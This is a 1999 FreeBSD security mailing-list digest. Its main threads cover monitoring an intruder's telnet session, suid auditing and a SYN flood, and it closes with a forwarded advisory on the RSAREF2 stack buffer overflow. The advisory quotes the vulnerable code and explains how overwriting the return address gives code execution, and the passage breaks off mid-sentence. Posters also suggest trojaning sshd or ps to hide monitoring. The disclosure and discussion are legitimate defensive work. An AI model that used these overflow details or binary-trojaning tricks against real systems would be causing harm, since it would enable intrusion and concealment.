eddie.incantations.net (thanatos@eddie.incantations.net [208.189.80.58]) by eddie.incantations.net (8.8.8/8.8.8) with ESMTP id PAA19779 for ; Wed, 1 Dec 1999 15:40:49 -0600 (CST) (envelope-from thanatos@incantations.net) Date: Wed, 1 Dec 1999 15:40:49 -0600 (CST) From: Jason Hudgins Cc: freebsd-security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Watching the packet stream is pretty useless if the hacker is using ssh however, which in my opinion, it would be pretty stupid not to. > replace them with false logs - you have to assume they know what you're > doing and will take steps against it (or they already have). A second > system watching the packet stream can't be subverted without also breaking > into _that_ one, which is much more difficult if you configure it > restrictively. > > Kris > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:42:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id 78A3F14FA3 for ; Wed, 1 Dec 1999 13:42:02 -0800 (PST) (envelope-from freebsd@deepwell.com) Received: (qmail 28093 invoked from network); 1 Dec 1999 22:32:10 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 1 Dec 1999 22:32:10 -0000 Message-Id: <4.2.0.58.19991201133811.014d5970@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 01 Dec 1999 13:40:41 -0800 To: freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: logging a telnet session In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:36 PM 12/1/99 -0800, you wrote: >On Wed, 1 Dec 1999, Jason Hudgins wrote: > > > > The problem with using the cracked box to watch itself is kind of obvious > > > given that your intruder has the same level of privileges as you do. You > > > really want to be doing this from a safe secondary system. > > > > And why is that exactly? Pardon me if I'm simply ignorant, but what is > > the "problem", and why would a secondary system be perferrable. > >Because the attacker can simply disable all of your logging, and/or >replace them with false logs - you have to assume they know what you're >doing and will take steps against it (or they already have). A second >system watching the packet stream can't be subverted without also breaking >into _that_ one, which is much more difficult if you configure it >restrictively. > >Kris My suggestion was to go one step further and disable the machine from sending out any packets on the ethernet. This would not only keep that box secure from intrusion but because it wouldn't ARP announce itself or send anything out the intruder won't know it's on the segment. I assume you don't want him knowing you're watching. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:54:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.veriohosting.com (gatekeeper.veriohosting.com [192.41.0.2]) by hub.freebsd.org (Postfix) with ESMTP id C99B914BC6 for ; Wed, 1 Dec 1999 13:54:12 -0800 (PST) (envelope-from hart@iserver.com) Received: by gatekeeper.veriohosting.com; Wed, 1 Dec 1999 14:54:12 -0700 (MST) Received: from unknown(192.168.1.109) by gatekeeper.veriohosting.com via smap (V3.1.1) id xma018074; Wed, 1 Dec 99 14:53:44 -0700 Received: (hart@localhost) by anchovy.orem.iserver.com (8.9.3) id OAA52749; Wed, 1 Dec 1999 14:50:52 -0700 (MST) Date: Wed, 1 Dec 1999 14:50:51 -0700 (MST) From: Paul Hart X-Sender: hart@anchovy.orem.iserver.com To: Jason Hudgins Cc: freebsd-security@FreeBSD.ORG Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 1 Dec 1999, Jason Hudgins wrote: > Watching the packet stream is pretty useless if the hacker is using > ssh however, which in my opinion, it would be pretty stupid not to. No. Remember, you're the one calling the shots. Go ahead and trojan your own sshd to leak session keys so you can decrypt the sniffed sessions, or even better, have it leak the cleartext before encrypting it. The original poster wanted to watch a telnet session anyway. Paul Hart -- Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc. hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 14: 0:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from eddie.incantations.net (adsl-208-189-80-58.dsl.rcsntx.swbell.net [208.189.80.58]) by hub.freebsd.org (Postfix) with ESMTP id E8A2014F94 for ; Wed, 1 Dec 1999 14:00:54 -0800 (PST) (envelope-from thanatos@incantations.net) Received: from eddie.incantations.net (thanatos@eddie.incantations.net [208.189.80.58]) by eddie.incantations.net (8.8.8/8.8.8) with ESMTP id QAA21687; Wed, 1 Dec 1999 16:00:17 -0600 (CST) (envelope-from thanatos@incantations.net) Date: Wed, 1 Dec 1999 16:00:17 -0600 (CST) From: Jason Hudgins To: Paul Hart Cc: freebsd-security@FreeBSD.ORG Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > No. Remember, you're the one calling the shots. Go ahead and trojan your > own sshd to leak session keys so you can decrypt the sniffed sessions, or > even better, have it leak the cleartext before encrypting it. Well, I think it would be easier to just trojanize some binaries on the cracked box (like ps) and make the logging process invisible then to trojan sshd AND write a decryption client of sorts. > The original poster wanted to watch a telnet session anyway. Yeah, I was the original poster, I'm just talking theory now. =) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 14: 7:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id BD51A14F94 for ; Wed, 1 Dec 1999 14:07:17 -0800 (PST) (envelope-from terrye@deepwell.com) Received: (qmail 29678 invoked from network); 1 Dec 1999 22:58:29 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 1 Dec 1999 22:58:29 -0000 Message-Id: <4.2.0.58.19991201135910.014ce550@mail1.dcomm.net> X-Sender: terrye@deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 01 Dec 1999 14:06:50 -0800 To: Paul Hart , freebsd-security@freebsd.org From: Terry Ewing Subject: Re: logging a telnet session In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is probably the only way to have an external sniffer view an ssh session in plaintext. This opens up a whole mess though. We're back to modifying the system that has been intruded upon. If you were checking the checksums of your binaries on a regular basis then you will tip your cards to the intruder by showing him that sshd has been modified. I guess you could make a new image of the checksum and replace it trying to act like that has always been the checksum for the sshd binary. As for the intruder, he'd really throw a wrench into your works by compiling his own sshd binary and using that on your server. He could verify the checksum on a regular basis. At 02:50 PM 12/1/99 -0700, you wrote: >On Wed, 1 Dec 1999, Jason Hudgins wrote: > > > Watching the packet stream is pretty useless if the hacker is using > > ssh however, which in my opinion, it would be pretty stupid not to. > >No. Remember, you're the one calling the shots. Go ahead and trojan your >own sshd to leak session keys so you can decrypt the sniffed sessions, or >even better, have it leak the cleartext before encrypting it. > >The original poster wanted to watch a telnet session anyway. > >Paul Hart > >-- >Paul Robert Hart ><8> ><8> ><8> Verio Web Hosting, Inc. >hart@iserver.com ><8> ><8> ><8> http://www.iserver.com/ > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 14:12:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id 9DE3D14F94 for ; Wed, 1 Dec 1999 14:12:25 -0800 (PST) (envelope-from freebsd@deepwell.com) Received: (qmail 29987 invoked from network); 1 Dec 1999 23:03:40 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 1 Dec 1999 23:03:40 -0000 Message-Id: <4.2.0.58.19991201140744.014d5dd0@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 01 Dec 1999 14:12:09 -0800 To: Jason Hudgins , freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: logging a telnet session In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Paul also suggested leaking the cleartext before encryption which is also good. It would roughly double the local bandwidth used by him, but I can't doubling telnet/ssh would be a big deal. a netstat may give this away, but you could use udp to send the plaintext to the logging host. As for writing this from scratch, you may be able to find something like this in a rootkit. At 04:00 PM 12/1/99 -0600, you wrote: > > No. Remember, you're the one calling the shots. Go ahead and trojan your > > own sshd to leak session keys so you can decrypt the sniffed sessions, or > > even better, have it leak the cleartext before encrypting it. > >Well, I think it would be easier to just trojanize some binaries on >the cracked box (like ps) and make the logging process invisible then to >trojan sshd AND write a decryption client of sorts. > > > The original poster wanted to watch a telnet session anyway. > >Yeah, I was the original poster, I'm just talking theory now. =) > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 14:18:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from eddie.incantations.net (adsl-208-189-80-58.dsl.rcsntx.swbell.net [208.189.80.58]) by hub.freebsd.org (Postfix) with ESMTP id 5C65A14F94 for ; Wed, 1 Dec 1999 14:18:50 -0800 (PST) (envelope-from thanatos@incantations.net) Received: from eddie.incantations.net (thanatos@eddie.incantations.net [208.189.80.58]) by eddie.incantations.net (8.8.8/8.8.8) with ESMTP id QAA23297 for ; Wed, 1 Dec 1999 16:16:52 -0600 (CST) (envelope-from thanatos@incantations.net) Date: Wed, 1 Dec 1999 16:16:52 -0600 (CST) From: Jason Hudgins Cc: freebsd-security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: <4.2.0.58.19991201140744.014d5dd0@mail1.dcomm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That would require trojanizing my own sshd, my own netstat, and settup up a packet sniffer on an external machine, I still think that trojaning only ps would be easier. > Paul also suggested leaking the cleartext before encryption which is also > good. It would roughly double the local bandwidth used by him, but I can't > doubling telnet/ssh would be a big deal. a netstat may give this away, but > you could use udp to send the plaintext to the logging host. As for > writing this from scratch, you may be able to find something like this in a > rootkit. > > > At 04:00 PM 12/1/99 -0600, you wrote: > > > No. Remember, you're the one calling the shots. Go ahead and trojan your > > > own sshd to leak session keys so you can decrypt the sniffed sessions, or > > > even better, have it leak the cleartext before encrypting it. > > > >Well, I think it would be easier to just trojanize some binaries on > >the cracked box (like ps) and make the logging process invisible then to > >trojan sshd AND write a decryption client of sorts. > > > > > The original poster wanted to watch a telnet session anyway. > > > >Yeah, I was the original poster, I'm just talking theory now. =) > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-security" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 14:49: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id A85BB151B9; Wed, 1 Dec 1999 14:49:02 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 6B4DE1CD810; Wed, 1 Dec 1999 14:49:02 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Wed, 1 Dec 1999 14:49:02 -0800 (PST) From: Kris Kennaway To: Brock Tellier Cc: "Jordan K. Hubbard" , Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] In-Reply-To: <19991201200257.17312.qmail@nwcst313.netaddress.usa.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1 Dec 1999, Brock Tellier wrote: > Personally, I don't think it is at all unreasonable to do a full 2700 port > install via sysinstall and audit the 200 or so suid-programs. Sure, it's > important that the others be free from symlink problems and in a few cases, > buffer overflows, but focusing, as I did, on the suids wouldn't be > ridiculously difficult. More than 50% of these programs could safely lose > their suid-bit. Considering the number of people who will actually need > "xmindpath" suid vs. the number of people who just do a full install because > they don't want to miss anything, I'd say you're pretty safe. This is a legitimate point, and I hope this is something the newly-formed FreeBSD auditing project will be able to handle. Given your proven expertise in finding these problems (e.g. the demolition job you did on SCO :), perhaps you'd like to be a part of that effort - just subscribe to audit@freebsd.org and announce yourself. I for one would welcome your assistance. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 17:47:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 03C8A14C1C for ; Wed, 1 Dec 1999 17:47:39 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id RAA36936; Wed, 1 Dec 1999 17:47:25 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: Brock Tellier Cc: Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] In-reply-to: Your message of "01 Dec 1999 13:02:57 MST." <19991201200257.17312.qmail@nwcst313.netaddress.usa.net> Date: Wed, 01 Dec 1999 17:47:25 -0800 Message-ID: <36932.944099245@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Personally, I don't think it is at all unreasonable to do a full 2700 port > install via sysinstall and audit the 200 or so suid-programs. I'm not arguing this at all, I'm simply saying that these issues should be brought up with the 200 or so maintainers of those suid-programs in ports. The security officer hasn't a prayer of addressing all of these and the core parts of FreeBSD as well and this is one of those areas where delegation and "distributed processing" is a necessity. Issues with ports need to be raised with the appropriate ports people. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 18:58: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from sl.relcom.kz (sl.relcom.kz [193.124.114.65]) by hub.freebsd.org (Postfix) with ESMTP id 23C2114F1C for ; Wed, 1 Dec 1999 18:57:28 -0800 (PST) (envelope-from kris@sl.relcom.kz) Received: from office.relcom.kz (office.relcom.kz [193.124.114.101]) by sl.relcom.kz (8.7.5.R.ML.S/Relcom-2A) with SMTP id IAA10074 for ;Thu, 2 Dec 1999 08:56:24 +0600 (ALMT) Message-ID: <002101bf3c71$6c3077f0$65727cc1@relcom.kz> From: "Panov Eugene" To: Subject: routed -q Date: Thu, 2 Dec 1999 09:00:42 +0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001E_01BF3CA3.B690C520" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_001E_01BF3CA3.B690C520 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Dear FreeBSD Security .=20 Can you tell me , why when I start routed -q , routed sends to syslog=20 Dec 1 17:28:42 crawler routed[478]: sendto(ed1, 224.0.0.2): No route to = host Has anyone had such a problem ?=20 ------=_NextPart_000_001E_01BF3CA3.B690C520 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
Dear FreeBSD Security . =
 
Can you tell me , why when I = start routed -q=20 , routed sends to syslog
Dec  1 17:28:42 crawler = routed[478]:=20 sendto(ed1, 224.0.0.2): No route to host
Has anyone had such a problem ? =
 
------=_NextPart_000_001E_01BF3CA3.B690C520-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 19:26:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f290.hotmail.com [207.82.251.181]) by hub.freebsd.org (Postfix) with SMTP id 1F21A15111 for ; Wed, 1 Dec 1999 19:26:16 -0800 (PST) (envelope-from smurfclanz@hotmail.com) Received: (qmail 34137 invoked by uid 0); 2 Dec 1999 03:24:58 -0000 Message-ID: <19991202032458.34136.qmail@hotmail.com> Received: from 202.188.15.176 by www.hotmail.com with HTTP; Wed, 01 Dec 1999 19:24:58 PST X-Originating-IP: [202.188.15.176] From: "PinkSmurf Mushroom" To: freebsd-security@FreeBSD.ORG Subject: syncflood attack Date: Wed, 01 Dec 1999 19:24:58 PST Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org AS I discovered today that my box was brought down by a heavy syncflood attack, connecting to multiple ports. In addition to that, the attacker even attack the ftpd with spoofed IPs, opening tons of connection. In result I've limited the total connection allowed at anyone time but I couldnt figure out how to stop syncflood. John Lee. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 19:54:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from phoenix.aye.net (phoenix.aye.net [198.7.192.5]) by hub.freebsd.org (Postfix) with SMTP id DD36A14D5B for ; Wed, 1 Dec 1999 19:54:34 -0800 (PST) (envelope-from barrett@aye.net) Received: (qmail 12951 invoked by uid 1000); 2 Dec 1999 03:52:43 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 2 Dec 1999 03:52:43 -0000 Date: Wed, 1 Dec 1999 22:52:43 -0500 (EST) From: Barrett Richardson To: Jason Hudgins Cc: security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 1 Dec 1999, Jason Hudgins wrote: > I've had an intruder visiting my box recently, and I tried to > setup a system for logging his telnet session. I was using the > tcpd wrraper in inetd.conf, and having it set off a trigger in > hosts.allow. > > The trigger calls a script that runs watch -c session on whatever > ttypX he logs into. The problem is that tcpd calls the trigger and > hands control back over to telnetd without ever knowing what ttypX > the remote user will be using. > > I've done some creative work arounds, but they only work about half > of the time (having they script that calls watch sleep for a little bit, > and then parses who output and tries to figure out the remote users > ttypX and then starting up watch) > > does anyone have a good solution for this, I'm sure there is a better > way. > Have you considered turning on process accounting and have it logged in a stashed away place? A hard link to the history files in a stashed away place may give up of few of his secrets too (its alwasy interesting to find one where the link count is one -- invariably has something like 'rm .bash_history' in it). Neither should cause anything that would seem unusual to an intruder. You may be able to pull script into the loop unnoticed also. - Barrett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 22: 8:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.wgn.net (mail.wgn.net [207.213.0.9]) by hub.freebsd.org (Postfix) with ESMTP id A243414D63 for ; Wed, 1 Dec 1999 22:08:14 -0800 (PST) (envelope-from bvirtual@westworld.com) Received: from bvirtueserve (du521-pcap-nca01.wgn.net [207.213.7.13]) by mail.wgn.net (8.9.1/8.9.0) with SMTP id VAA07107 for ; Wed, 1 Dec 1999 21:00:42 -0800 Message-Id: <4.1.19991201132855.0180f760@mail.wgn.net> Message-Id: <4.1.19991201132855.0180f760@mail.wgn.net> X-Sender: bvirtual@mail.wgn.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 01 Dec 1999 22:12:57 -0800 To: security@FreeBSD.ORG From: Peter Benjamin Subject: Re: logging a telnet session In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I should would like to know of an application, perhaps a port, that does this already. It's not clear what you wish to log about the telnet session. The fact it was done, where it came from, or the commands use, which must follow any login, su, or other commands that might change the "identity" of the intruder on your system. I guess that is why you wish to monitor the ttypX session. So hear are some methods I have heard about. Telnet sessions will run the dot file for that shell type. .chsrc, .login, and .profile, are the three primary dot files. There are two levels of these. One for all users, and then any in the users home directory. To log telnet sessions, simply add lines to the all user dot files that echo out whatever values you care to a log file. And email them just in case the user likes/knows to clean up after themselves. Of course, this is not as high level as inetd intercept of the telnet session. To log the commands issued by users there a few ways. ssh has a single flag to turn this on. Install a telnet that does. Convert to ssh and disable telnet. (Best solution - telnet is not secure). Most shells support history, so that is one way, but the user can set history off, and some systems allow the root use to force history on, and write 2000 or even 10000 commands to the file, and have the file read only to the actual user. Do one of the above for all users. Lots of other ways of course, as you have indicated in your original post. You do not state how many users you have, what shells are used, or even if you are sure the intruder used telnet (mail is possible, or tcp stack overflow to get root access, etc). One way is to use root access to monitor all the keyboard entries of all users and record them to a file (plus email or other transmission to remote computer). Hope this helps. Pete BTW, a root access cron entry would be better than a sleeping script, IMHO. At 11:40 AM 12/1/99 , Jason Hudgins wrote: >I've had an intruder visiting my box recently, and I tried to >setup a system for logging his telnet session. I was using the >tcpd wrraper in inetd.conf, and having it set off a trigger in >hosts.allow. > >The trigger calls a script that runs watch -c session on whatever >ttypX he logs into. The problem is that tcpd calls the trigger and >hands control back over to telnetd without ever knowing what ttypX >the remote user will be using. > >I've done some creative work arounds, but they only work about half >of the time (having they script that calls watch sleep for a little bit, >and then parses who output and tries to figure out the remote users >ttypX and then starting up watch) > >does anyone have a good solution for this, I'm sure there is a better >way. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 22:54:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from quaggy.ursine.com (lambda.blueneptune.com [209.133.45.179]) by hub.freebsd.org (Postfix) with ESMTP id 61F0415006 for ; Wed, 1 Dec 1999 22:54:08 -0800 (PST) (envelope-from fbsd-security@ursine.com) Received: from michael (lambda.ursine.com [209.133.45.69]) by quaggy.ursine.com (8.9.3/8.9.3) with ESMTP id WAA65932 for ; Wed, 1 Dec 1999 22:53:35 -0800 (PST) Message-ID: <199912012253340650.029F89B6@quaggy.ursine.com> X-Mailer: Calypso Version 3.00.00.13 (2) Date: Wed, 01 Dec 1999 22:53:34 -0800 From: "Michael Bryan" To: freebsd-security@freebsd.org Subject: Another ssh/RSAREF2 overflow problem from BUGTRAQ Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ==== Message from BugTraq ===================================== Message-ID: <3845D352.95E47E26@core-sdi.com> Date: Wed, 1 Dec 1999 23:09:12 -0300 Reply-To: Gerardo Richarte Sender: Bugtraq List From: Gerardo Richarte Organization: Core-SDI, Buenos Aires, Argentina Subject: Security Advisory: Buffer overflow in RSAREF2 X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ CORE SDI S.A. Buenos Aires, Argentina CORE SDI Security Advisory December 1st., 1999 Buffer overflow in RSAREF2 - ------------------------------------------------------------------------- While researching the exploitability of a buffer overflow in SSH up to version 1.2.27, we discovered a second buffer overflow in the implmementation of the RSA algorithm in RSAREF2 from RSA Data Security. This advisory addresses the details of the bug discovered, the details are somewhat focused on the ability to exploit the bug in SSH compiled with RSAREF2, but its extensible to any software product that uses RSAREF2 Problem description ~~~~~~~~~~~~~~~~~~~~ RSAREF2 API exports 4 functions in rsa.c: int RSAPublicEncrypt() int RSAPrivateEncrypt() int RSAPublicDecrypt() int RSAPrivateDecrypt() The 4 functions define a local variable pkcsBlock of fixed length MAX_RSA_MODULUS_LEN (128 bytes) In order to perform the RSA operations, the functions call the internal functions RSAPrivateBlock() and RSAPublicBlock(). RSAPrivateDecrypt() and RSAPublicDecrypt() pass a pointer to the local variable pkcsBlock to be used as the output buffer for RSAPublicBlock() and RSAPrivateBlock() respectively. The two functions then perform the RSA operations and copy the results to the output buffer using the NN_Encode() and NN_Decode() functions. Lack of strict bounds checking and proper validation of input parameters in all these functions allows an attacker to overflow the pkcsBLock variable and overwrite the stack, making it possible to execute arbitrary commands on the vulnerable system. Technical details ~~~~~~~~~~~~~~~~~ As an axample we will describe the vulnerability focusing on the decrypt operations performed in RSAREF2 based on the private key. Such operations are done with the function RSAPrivateDecrypt() defined as follows in rsa.c: /* RSA private-key decryption, according to PKCS #1. */ int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey) unsigned char *output; /* output block */ unsigned int *outputLen; /* length of output block */ unsigned char *input; /* input block */ unsigned int inputLen; /* length of input block */ R_RSA_PRIVATE_KEY *privateKey; /* RSA private key */ { int status; unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; modulusLen = (privateKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); if (status = RSAPrivateBlock (pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey)) return (status); ... return (0); } Note that inputLen is checked against a transformation of privateKey's bits field, to satisfy this constrain an attacker must alter this field in privateKey, but this, almost by miracle doesn't affect the final result. Notese que se hace una verificacion sobre la longitud del buffer de entrada, comparandola con una transformacion del campo bits de la clave privada (privateKey), para que esta validacion sea satisfecha es necesario cambiar este campo en privateKey, pero esto, casi milagrosamente no afecta al resultado de la encripcion. As we can see, RSAPrivateDecrypt() calls RSAPrivateBlock() passing pkcsBlock as the output buffer, no length checking is performed to ensure that pkcsBlock will not be overrun. RSAPrivateBLock() performs the RSA private key operations ans is define as follows: /* Raw RSA private-key operation. Output has same length as modulus. Assumes inputLen < length of modulus. Requires input < modulus. */ static int RSAPrivateBlock (output, outputLen, input, inputLen, privateKey) unsigned char *output; /* output block */ unsigned int *outputLen; /* length of output block */ unsigned char *input; /* input block */ unsigned int inputLen; /* length of input block */ R_RSA_PRIVATE_KEY *privateKey; /* RSA private key */ { NN_DIGIT c[MAX_NN_DIGITS], cP[MAX_NN_DIGITS], cQ[MAX_NN_DIGITS], dP[MAX_NN_DIGITS], dQ[MAX_NN_DIGITS], mP[MAX_NN_DIGITS], mQ[MAX_NN_DIGITS], n[MAX_NN_DIGITS], p[MAX_NN_DIGITS], q[MAX_NN_DIGITS], qInv[MAX_NN_DIGITS], t[MAX_NN_DIGITS]; unsigned int cDigits, nDigits, pDigits; NN_Decode (c, MAX_NN_DIGITS, input, inputLen); ... cDigits = NN_Digits (c, MAX_NN_DIGITS); nDigits = NN_Digits (n, MAX_NN_DIGITS); pDigits = NN_Digits (p, MAX_NN_DIGITS); /* Compute mP = cP^dP mod p and mQ = cQ^dQ mod q. (Assumes q has length at most pDigits, i.e., p > q.) */ ... /* Chinese Remainder Theorem: m = ((((mP - mQ) mod p) * qInv) mod p) * q + mQ. */ if (NN_Cmp (mP, mQ, pDigits) >= 0) NN_Sub (t, mP, mQ, pDigits); else { NN_Sub (t, mQ, mP, pDigits); NN_Sub (t, p, t, pDigits); } NN_ModMult (t, t, qInv, p, pDigits); NN_Mult (t, t, q, pDigits); NN_Add (t, t, mQ, nDigits); *outputLen = (privateKey->bits + 7) / 8; NN_Encode (output, *outputLen, t, nDigits); ... return (0); } RSAPrivateBlock() calls NN_Encode() to encode and copy the results into the output buffer (a pointer to the pkcsBlock variable in RSAPublicDecrypt() function), the length of the output buffer is calculated based on the bits field of the pivateKey structure, passed originally to RSAPublicDecrypt() and does not take into account the fixed length characteristics of the output buffer. The NN_Encode() function is defined as follows: /* Encodes b into character string a, where character string is ordered from most to least significant. Lengths: a[len], b[digits]. Assumes NN_Bits (b, digits) <= 8 * len. (Otherwise most significant digits are truncated.) */ void NN_Encode (a, len, b, digits) NN_DIGIT *b; unsigned char *a; unsigned int digits, len; { NN_DIGIT t; int j; unsigned int i, u; for (i = 0, j = len - 1; i < digits && j >= 0; i++) { t = b[i]; for (u = 0; j >= 0 && u < NN_DIGIT_BITS; j--, u += 8) a[j] = (unsigned char)(t >> u); } for (; j >= 0; j--) a[j] = 0; } NN_Encode() encodes and copies to 'a' (the output buffer, pkcsBLock) 'digits' bytes of 'b' (the results of the RSA private key operation) from the end to the start of the buffer, starting at position 'len', the modulus length of the private key passed to RSAPrivateDecrypt(). Providing a suitable modulus length to RSAPrivateDecrypt() it is possible to force NN_Encode() to copy data beyond the bounds of pkcsBLock and overwrite the return address of RSAPRivateDecrypt(), gaining control of the processor and being able to execute code located 